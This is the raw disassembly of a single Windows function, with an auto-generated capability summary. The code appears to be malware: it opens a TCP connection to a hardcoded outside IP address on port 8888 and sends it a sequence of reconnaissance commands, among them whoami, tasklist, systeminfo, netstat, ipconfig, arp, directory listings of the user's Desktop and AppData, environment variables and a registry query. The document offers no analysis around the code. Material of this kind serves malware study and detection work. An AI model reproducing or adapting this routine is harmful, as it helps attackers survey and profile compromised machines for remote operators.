Function at 0x1400014a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov ecx, 0x202
lea rdx, [rbp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001f33
lea edx, [rax + 1]
mov ebx, 2
lea r8d, [rax + 6]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14002ad88], rax
cmp rax, 0xffffffffffffffff
jne 0x140001514
lea rcx, str.INVALID_SOCKET
call fcn.140001010
jmp 0x140001f33
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x60], bx
mov ecx, 0x22b8
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
lea r8, [rsp + 0x64]
lea rdx, str.47.99.182.25
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rsp + 0x60]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001580
lea rcx, str.CONNECT_ERROR_
call fcn.140001010
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001f33
lea rdx, str.chcp_65001__whoami__tasklist__svc
lea rcx, [rbp + 0x50]
call fcn.1400012e0
nop
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
lea rdx, [rbp + 0x50]
cmova rdx, qword [rbp + 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [r9 + r8], 0
jne 0x1400015b2
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.chcp_65001__whoami__systeminfo
lea rcx, [rbp + 0x30]
call fcn.1400012e0
nop
lea r9, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova r9, qword [rbp + 0x30]
lea rdx, [rbp + 0x30]
cmova rdx, qword [rbp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140001630
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.chcp_65001__whoami__arp__a
lea rcx, [rbp + 0x10]
call fcn.1400012e0
nop
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r9, qword [rbp + 0x10]
lea rdx, [rbp + 0x10]
cmova rdx, qword [rbp + 0x10]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x1400016b0
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.chcp_65001__whoami__netstat__ano
lea rcx, [rbp - 0x10]
call fcn.1400012e0
nop
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r9, qword [rbp - 0x10]
lea rdx, [rbp - 0x10]
cmova rdx, qword [rbp - 0x10]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140001730
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.chcp_65001__whoami__ipconfig__all
lea rcx, [rbp - 0x30]
call fcn.1400012e0
nop
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r9, qword [rbp - 0x30]
lea rdx, [rbp - 0x30]
cmova rdx, qword [rbp - 0x30]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x1400017b0
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.chcp_65001__whoami__dir__USERPROFILE_DESKTOP
lea rcx, [rsp + 0x40]
call fcn.1400012e0
nop
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova r9, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmova rdx, qword [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [r9 + r8], 0
jne 0x140001831
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.chcp_65001__whoami__dir__appdata_
lea rcx, [rsp + 0x20]
call fcn.1400012e0
mov rdi, rax
lea rax, [rsp + 0x40]
cmp rax, rdi
je 0x140001913
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400018dc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f5f
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], send
mov byte [rdi], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140001950
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000194b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f5f
call fcn.14000230c
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova r9, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmova rdx, qword [rsp + 0x40]
mov r8, rbx
nop
inc r8
cmp byte [r9 + r8], 0
jne 0x140001970
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.whoami__dir__C:Program_Files__x86__
lea rcx, [rsp + 0x20]
call fcn.1400012e0
mov rdi, rax
lea rax, [rsp + 0x40]
cmp rax, rdi
je 0x140001a52
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001a1b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f65
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], send
mov byte [rdi], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140001a8f
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f65
call fcn.14000230c
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova r9, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmova rdx, qword [rsp + 0x40]
mov r8, rbx
nop
inc r8
cmp byte [r9 + r8], 0
jne 0x140001ab0
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.whoami__net_use
lea rcx, [rbp - 0x50]
call fcn.1400012e0
nop
lea r9, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r9, qword [rbp - 0x50]
lea rdx, [rbp - 0x50]
cmova rdx, qword [rbp - 0x50]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140001b30
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.whoami__set
lea rcx, [rbp - 0x70]
call fcn.1400012e0
nop
lea r9, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r9, qword [rbp - 0x70]
lea rdx, [rbp - 0x70]
cmova rdx, qword [rbp - 0x70]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140001bb0
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.whoami__reg_query__HKCUControl_PanelDesktop___v_Wallpaper
lea rcx, [rsp + 0x70]
call fcn.1400012e0
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r8, qword [rsp + 0x70]
lea rdx, [rsp + 0x70]
cmova rdx, qword [rsp + 0x70]
nop dword [rax]
inc rbx
cmp byte [r8 + rbx], 0
jne 0x140001c30
mov r8, rbx
xor r9d, r9d
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [0x140025670]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [0x14002ad88]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001cd2
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ccd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f6b
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001d1f
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f71
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001d6b
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f77
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001db9
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001db4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f7d
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140001e07
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f83
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140001e53
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f89
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140001e9f
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f8f
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140001eeb
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ee6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f95
call fcn.14000230c
movdqa xmm0, xmmword [0x140025870]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140001f33
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f59
call fcn.14000230c
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.1400022b0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
nop
call fcn.14000b904
int3